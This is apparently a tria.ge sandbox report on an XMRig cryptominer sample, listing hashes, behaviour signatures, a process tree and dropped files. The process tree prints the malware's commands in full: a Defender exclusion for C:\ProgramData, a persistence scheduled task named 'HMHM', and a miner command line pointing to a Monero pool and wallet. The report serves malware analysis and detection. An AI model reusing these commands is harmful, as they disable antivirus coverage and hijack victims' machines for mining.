Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

06/03/2024, 22:46

240306-2pzx2abc39 7

23/12/2022, 20:25

221223-y7mhwahb34 10

23/12/2022, 20:11

221223-yx8ncscc9x 10

23/12/2022, 20:03

221223-ys7v9sha97 10

Analysis

  • max time kernel
    600s
  • max time network
    552s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    23/12/2022, 20:25

General

  • Target

    896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe

  • Size

    2.1MB

  • MD5

    55a350a007f6943a7e09f4abfdfa6979

  • SHA1

    c94e84ddbb6f525cfa675791c7f2d9b36d28a3ef

  • SHA256

    896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80

  • SHA512

    707269690787a70980cfc2658592cef762503ce7228fdfa56f5d584552327d28e338cc877fb37b1414f451a9c05a05fe3e134bc0197563a266fd62ab539bdc16

  • SSDEEP

    49152:yMkkwgEEIRmnl1DVHYYhdxiUFZ4l7jl1nUI3gg+cnIFPsxdgyg:yDkfRX4UTDennUI3gvcIlRz

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 13 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
    "C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:656
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1880
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
        3⤵
        • Creates scheduled task(s)
        PID:1084
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1092
  • C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    1⤵
      PID:1100
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x500
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1556
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {F021B191-DF9B-4500-87DB-46E22AD0A10B} S-1-5-21-1214520366-621468234-4062160515-1000:VDWSWJJD\Admin:Interactive:[1]
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1884
      • C:\ProgramData\edge\HMHM.exe
        C:\ProgramData\edge\HMHM.exe
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1356
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          3⤵
          • Drops file in System32 directory
          PID:1896
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:680
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
            4⤵
            • Creates scheduled task(s)
            PID:188

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\edge\HMHM.exe

      Filesize

      607.0MB

      MD5

      ec90b1372498a9657941009302dc4e0c

      SHA1

      95ecb791a0f9ba1d364a1cc5f2abd1a21baf9588

      SHA256

      a7172b48ac13ed881788872d3ae4dd258edfc42dcdd26784ee84a8dac6b4e7c5

      SHA512

      aa6e47e9c3f1cfa55a9142098d43cbc264d5307d5173cc5f0e457a347ec241225e63d29cbb37a3cda6cc967d0e42e6d3c61a55d8ef68c0522ad039a549f8964a

    • C:\ProgramData\edge\HMHM.exe

      Filesize

      607.0MB

      MD5

      ec90b1372498a9657941009302dc4e0c

      SHA1

      95ecb791a0f9ba1d364a1cc5f2abd1a21baf9588

      SHA256

      a7172b48ac13ed881788872d3ae4dd258edfc42dcdd26784ee84a8dac6b4e7c5

      SHA512

      aa6e47e9c3f1cfa55a9142098d43cbc264d5307d5173cc5f0e457a347ec241225e63d29cbb37a3cda6cc967d0e42e6d3c61a55d8ef68c0522ad039a549f8964a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      a17a5978fd1af54c961bf139e40ea25a

      SHA1

      13850ed83d39fa6f1c82044cf7329afa99af9d3f

      SHA256

      46ef6ebb5de7fec7357f1a552418081da4e04881e5599b4da3991d53924e1498

      SHA512

      b8dd4bb79e693d159c28ea3e25e3722827631dbd47fe1ca337470d1a716c748f051f86935dc9de04fe044f382365d5da57ebc558924570b2bd102dbef17cf3b5

    • \ProgramData\edge\HMHM.exe

      Filesize

      607.0MB

      MD5

      ec90b1372498a9657941009302dc4e0c

      SHA1

      95ecb791a0f9ba1d364a1cc5f2abd1a21baf9588

      SHA256

      a7172b48ac13ed881788872d3ae4dd258edfc42dcdd26784ee84a8dac6b4e7c5

      SHA512

      aa6e47e9c3f1cfa55a9142098d43cbc264d5307d5173cc5f0e457a347ec241225e63d29cbb37a3cda6cc967d0e42e6d3c61a55d8ef68c0522ad039a549f8964a

    • \ProgramData\edge\HMHM.exe

      Filesize

      607.0MB

      MD5

      ec90b1372498a9657941009302dc4e0c

      SHA1

      95ecb791a0f9ba1d364a1cc5f2abd1a21baf9588

      SHA256

      a7172b48ac13ed881788872d3ae4dd258edfc42dcdd26784ee84a8dac6b4e7c5

      SHA512

      aa6e47e9c3f1cfa55a9142098d43cbc264d5307d5173cc5f0e457a347ec241225e63d29cbb37a3cda6cc967d0e42e6d3c61a55d8ef68c0522ad039a549f8964a

    • memory/656-77-0x000007FEECCE0000-0x000007FEED703000-memory.dmp

      Filesize

      10.1MB

    • memory/656-81-0x000000000292B000-0x000000000294A000-memory.dmp

      Filesize

      124KB

    • memory/656-80-0x0000000002924000-0x0000000002927000-memory.dmp

      Filesize

      12KB

    • memory/656-78-0x000007FEEC180000-0x000007FEECCDD000-memory.dmp

      Filesize

      11.4MB

    • memory/656-79-0x0000000002924000-0x0000000002927000-memory.dmp

      Filesize

      12KB

    • memory/656-75-0x000007FEFB651000-0x000007FEFB653000-memory.dmp

      Filesize

      8KB

    • memory/1092-115-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-125-0x0000000000000000-0x0000000001000000-memory.dmp

      Filesize

      16.0MB

    • memory/1092-117-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-121-0x00000000002E0000-0x0000000000300000-memory.dmp

      Filesize

      128KB

    • memory/1092-122-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-98-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-113-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-124-0x0000000000000000-0x0000000001000000-memory.dmp

      Filesize

      16.0MB

    • memory/1092-120-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-126-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-127-0x0000000000000000-0x0000000001000000-memory.dmp

      Filesize

      16.0MB

    • memory/1092-112-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-110-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-105-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-108-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-107-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-101-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-99-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1092-103-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/1284-90-0x000007FEF0B20000-0x000007FEF0B82000-memory.dmp

      Filesize

      392KB

    • memory/1284-67-0x0000000000800000-0x0000000000841000-memory.dmp

      Filesize

      260KB

    • memory/1284-93-0x000007FEF9010000-0x000007FEF9081000-memory.dmp

      Filesize

      452KB

    • memory/1284-94-0x000007FEFC9E0000-0x000007FEFCA05000-memory.dmp

      Filesize

      148KB

    • memory/1284-95-0x000007FEFA730000-0x000007FEFA757000-memory.dmp

      Filesize

      156KB

    • memory/1284-96-0x000007FEFCF50000-0x000007FEFCF86000-memory.dmp

      Filesize

      216KB

    • memory/1284-97-0x000007FEFC230000-0x000007FEFC28B000-memory.dmp

      Filesize

      364KB

    • memory/1284-91-0x000007FEFF090000-0x000007FEFF0DD000-memory.dmp

      Filesize

      308KB

    • memory/1284-89-0x000007FEFA590000-0x000007FEFA5AC000-memory.dmp

      Filesize

      112KB

    • memory/1284-62-0x000007FEFE920000-0x000007FEFE991000-memory.dmp

      Filesize

      452KB

    • memory/1284-88-0x000007FEFC410000-0x000007FEFC427000-memory.dmp

      Filesize

      92KB

    • memory/1284-58-0x0000000076BB0000-0x0000000076CAA000-memory.dmp

      Filesize

      1000KB

    • memory/1284-87-0x000007FEFE600000-0x000007FEFE61F000-memory.dmp

      Filesize

      124KB

    • memory/1284-85-0x000007FEFB060000-0x000007FEFB275000-memory.dmp

      Filesize

      2.1MB

    • memory/1284-56-0x000007FEF64C0000-0x000007FEF655C000-memory.dmp

      Filesize

      624KB

    • memory/1284-82-0x0000000000800000-0x0000000000841000-memory.dmp

      Filesize

      260KB

    • memory/1284-55-0x000007FEF69C0000-0x000007FEF6A2F000-memory.dmp

      Filesize

      444KB

    • memory/1284-76-0x000007FEFE830000-0x000007FEFE907000-memory.dmp

      Filesize

      860KB

    • memory/1284-73-0x000007FEFC560000-0x000007FEFC582000-memory.dmp

      Filesize

      136KB

    • memory/1284-72-0x000007FEF6150000-0x000007FEF627C000-memory.dmp

      Filesize

      1.2MB

    • memory/1284-71-0x0000000000060000-0x00000000002E6000-memory.dmp

      Filesize

      2.5MB

    • memory/1284-70-0x000007FEFB280000-0x000007FEFB2D6000-memory.dmp

      Filesize

      344KB

    • memory/1284-69-0x000007FEFE310000-0x000007FEFE513000-memory.dmp

      Filesize

      2.0MB

    • memory/1284-123-0x0000000000060000-0x00000000002E6000-memory.dmp

      Filesize

      2.5MB

    • memory/1284-68-0x000007FEFEF60000-0x000007FEFF08D000-memory.dmp

      Filesize

      1.2MB

    • memory/1284-92-0x000007FEF8FA0000-0x000007FEF9004000-memory.dmp

      Filesize

      400KB

    • memory/1284-66-0x0000000000060000-0x00000000002E6000-memory.dmp

      Filesize

      2.5MB

    • memory/1284-65-0x000007FEF5440000-0x000007FEF5E2C000-memory.dmp

      Filesize

      9.9MB

    • memory/1284-61-0x000007FEFCDE0000-0x000007FEFCE4C000-memory.dmp

      Filesize

      432KB

    • memory/1284-60-0x0000000076CB0000-0x0000000076DCF000-memory.dmp

      Filesize

      1.1MB

    • memory/1284-59-0x000007FEFEE60000-0x000007FEFEEFF000-memory.dmp

      Filesize

      636KB

    • memory/1284-57-0x000007FEFEBB0000-0x000007FEFEC17000-memory.dmp

      Filesize

      412KB

    • memory/1284-63-0x000007FEF63C0000-0x000007FEF64B7000-memory.dmp

      Filesize

      988KB

    • memory/1284-64-0x000007FEFE520000-0x000007FEFE5FB000-memory.dmp

      Filesize

      876KB

    • memory/1356-144-0x000007FEFEE60000-0x000007FEFEEFF000-memory.dmp

      Filesize

      636KB

    • memory/1356-145-0x0000000076CB0000-0x0000000076DCF000-memory.dmp

      Filesize

      1.1MB

    • memory/1356-138-0x00000000000E0000-0x0000000000121000-memory.dmp

      Filesize

      260KB

    • memory/1356-140-0x000007FEF5E60000-0x000007FEF5ECF000-memory.dmp

      Filesize

      444KB

    • memory/1356-141-0x000007FEF5D90000-0x000007FEF5E2C000-memory.dmp

      Filesize

      624KB

    • memory/1356-154-0x0000000000EB0000-0x0000000001136000-memory.dmp

      Filesize

      2.5MB

    • memory/1356-142-0x000007FEFEBB0000-0x000007FEFEC17000-memory.dmp

      Filesize

      412KB

    • memory/1356-146-0x000007FEFCDE0000-0x000007FEFCE4C000-memory.dmp

      Filesize

      432KB

    • memory/1356-143-0x0000000076BB0000-0x0000000076CAA000-memory.dmp

      Filesize

      1000KB

    • memory/1884-134-0x00000000026A0000-0x0000000002926000-memory.dmp

      Filesize

      2.5MB

    • memory/1884-136-0x00000000026A0000-0x0000000002926000-memory.dmp

      Filesize

      2.5MB

    • memory/1884-133-0x00000000026A0000-0x0000000002926000-memory.dmp

      Filesize

      2.5MB

    • memory/1884-137-0x00000000026A0000-0x0000000002926000-memory.dmp

      Filesize

      2.5MB